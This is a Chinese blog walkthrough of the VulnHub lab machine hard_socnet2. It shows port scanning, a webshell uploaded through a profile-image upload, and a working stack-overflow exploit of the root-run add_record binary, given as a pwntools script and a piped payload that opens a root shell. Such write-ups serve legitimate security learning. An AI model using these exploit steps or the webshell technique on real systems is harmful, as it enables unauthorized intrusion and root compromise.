vulnhub5

清风--

已于 2023-11-21 19:10:07 修改

阅读量277

点赞数 1

文章标签： linux 安全

于 2023-11-21 09:24:16 首次发布

本文链接：https://blog.youkuaiyun.com/qq_64201116/article/details/134523844

版权

靶机下载地址：

https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova

信息收集

第一步信息收集，还是老方法我习惯 fscan 和 nmap 一起用

Fscan 简单探测全局信息

┌──(kali㉿kali)-[~/Desktop/Tools/fscan]
└─$ ./fscan_amd64 -h 192.168.120.141

   ___                              _  
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <  
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.2
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 192.168.120.141 is alive
[*] Icmp alive hosts len is: 1
192.168.120.141:22 open
192.168.120.141:80 open
192.168.120.141:8000 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle: http://192.168.120.141:8000 code:501 len:216    title:Error response
[*] WebTitle: http://192.168.120.141    code:200 len:10609  title:Social Network

nmap 扫描全端口

┌──(kali㉿kali)-[~/Desktop/Tools/fscan]
└─$ sudo nmap --min-rate 10000 -p- 192.168.120.141
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-01 19:15 CST
Nmap scan report for 192.168.120.141
Host is up (0.000033s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8000/tcp open  http-alt
MAC Address: 00:0C:29:F4:0E:58 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 7.00 seconds

nmap 扫描开放端口和操作系统的信息

┌──(kali㉿kali)-[~/Desktop/Tools/fscan]
└─$ sudo nmap -sT -sV -O -p 22,80,8000 192.168.120.141
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-01 19:16 CST
Stats: 0:00:09 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 33.33% done; ETC: 19:16 (0:00:12 remaining)
Nmap scan report for 192.168.120.141
Host is up (0.00013s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
8000/tcp open  http    BaseHTTPServer 0.3 (Python 2.7.15rc1)
MAC Address: 00:0C:29:F4:0E:58 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.57 seconds

getshell

开放了两个 web 服务一个是 apache2 的，还有一个是 python 的

这里正常思路就是先访问 web 服务了，首先是 80 端口的服务

733 x 3991336 x 727

是一个用户登录注册的地方，因为这里没有 admin 的邮箱地址，所以我们只能尝试使用注册来看看登录后的系统是否存在漏洞

首先我们注册账号：

733 x 8521186 x 1378

登录后简单测一下漏洞：

733 x 4762190 x 1422

发现有 xss（但是没啥用）

733 x 1911757 x 457

测试其他漏洞：

733 x 5321893 x 1374

发现了文件上传，这里可以简单测试一下：

733 x 4051995 x 1103

传个马，似乎成功了，试一下连接：

733 x 4351906 x 1132

找到地址:http://192.168.120.141/data/images/profiles/3.php

733 x 4511950 x 1200

可以成功连接

权限提升 1

提权：

733 x 447806 x 491

发现这个 cve 依旧可以。。。

权限提升 2

但是这里的预期解似乎不是这个,预期解需要 Pwn

现学 Pwn 咯

我们 getshell 之后可以在/home/user 目录看到

733 x 352994 x 478

一个 root 权限启动的服务

我们下载到 Kali 用 pwngdb 调试他(未安装可以安装一下：pwndbg/pwndbg: Exploit Development and Reverse Engineering with GDB Made Easy (github.com))

先用 checksec 看一下开启的保护：

┌──(kali㉿kali)-[~/Desktop]
└─$ checksec add_record 
[*] '/home/kali/Desktop/add_record'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments

除了一个 Stack，其他全关

启动一下 Pwngdb：

┌──(root㉿kali)-[/home/kali/Desktop]
└─# gdb -q add_record
pwndbg: loaded 147 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list.                                
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)                                                                  
Reading symbols from add_record...
(No debugging symbols found in add_record)
------- tip of the day (disable with set show-tips off) -------
Pwndbg context displays where the program branches to thanks to emulating few instructions into the future. You can disable this with set emulate off which may also speed up debugging                            
pwndbg>

我们先测试哪里存在栈溢出（因为只会栈溢出）

先准备好多个 A 用于测试栈溢出：

┌──(kali㉿kali)-[~/Desktop]
└─$ python -c "print('A'*1000)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

用 r 执行让程序跑起来：

733 x 6111104 x 920

输入后发现程序异常直接退出，判断这里不存在栈溢出，接着下一个点测试：

733 x 6781077 x 996

同样正常退出，接着往下测试，直到最后一个 explain：

pwndbg> r
Starting program: /home/kali/Desktop/add_record 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".                                                                  
Welcome to Add Record application
Use it to add info about Social Network 2.0 Employees
Employee Name(char): a
Years worked(int): 1
Salary(int): 1
Ever got in trouble? 1 (yes) or 0 (no): 1
Explain: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────
*EAX  0xffffd27e ◂— 0x41414141 ('AAAA')
*EBX  0x41414141 ('AAAA')
*ECX  0xffffd6c0 ◂— 'AAAA'
*EDX  0xffffd662 ◂— 'AAAA'
*EDI  0xffffd340 ◂— 0x41414141 ('AAAA')
*ESI  0x80488d0 (__libc_csu_init) ◂— push ebp
*EBP  0x41414141 ('AAAA')
*ESP  0xffffd2c0 ◂— 0x41414141 ('AAAA')
*EIP  0x41414141 ('AAAA')
──────────────────[ DISASM / i386 / set emulate on ]───────────────────
Invalid address 0x41414141










───────────────────────────────[ STACK ]───────────────────────────────
00:0000│ esp 0xffffd2c0 ◂— 0x41414141 ('AAAA')
... ↓        7 skipped
─────────────────────────────[ BACKTRACE ]─────────────────────────────
 ► 0 0x41414141
   1 0x41414141
   2 0x41414141
   3 0x41414141
   4 0x41414141
   5 0x41414141
   6 0x41414141
   7 0x41414141
───────────────────────────────────────────────────────────────────────

这里发现可以覆盖掉栈的地址，说明我们这里是可能存在漏洞的

如何利用呢？

利用 IDA 打开这个程序可以发现

733 x 3972281 x 1235

这个程序是存在 backdoor 的，直接返回一个 system('/bin/sh')

所以只要覆盖掉 EIP 的地址为 backdoor 函数的地址即可执行 backdoor 返回一个 /bin/sh

下一步工作就是测试哪个位置可以覆盖 EIP，因为我们输入的 1000 个 A 中不知道具体是哪几个站住了 EIP 的地址

只知道确实是可以覆盖的：

733 x 5691105 x 858

所以我们利用 MSF 生成的随机字符串来定位：

msf-pattern_create -l 1000

733 x 3972174 x 1176

如图我们可以知道是 0Ac1 覆盖了 EIP，所以我们查找 0Ac1 前面有几个字符：

msf-pattern_offset -q 0Ab1

553 x 159

发现是 62 个，所以我们前面填充 62 位

开始编写 EXP：

733 x 6321222 x 1053

这里看到 backdoor 的地址是 0x08048676

垃圾字符是 62 个

写 EXP：

from pwn import * 

p = process("./add_record")
backdoor = 0x8048676
p.sendline(b'1')
p.sendline(b'1')
p.sendline(b'1')
p.sendline(b'1')

payload = b'a'*62 + p32(backdoor)
p.sendline(payload)
p.interactive()

但是只能在目标系统上执行不能打远程环境，用这个

python -c "import struct;print('aa\n1\n1\n1\n' + 'A'*62 + struct.pack('I',0x08048676))" > payload

然后运行

cat payload - | ./add_record

即可 getshell，并且为 root 权限，短划线 - 表示将前一个命令的标准输出（在这种情况下是 "payload" 字符串）重定向到 ./add_record 程序的标准输入，这样 ./add_record 将从标准输入读取 "payload" 字符串

733 x 1031062 x 149

Pwn 学习参考链接

【星盟安全】PWN全集，从入门到精通，最通俗易懂的CTF，持续更新中_哔哩哔哩_bilibili

pwn 学习----定位溢出点位置_pwn 通过把编译判断溢出位置-优快云博客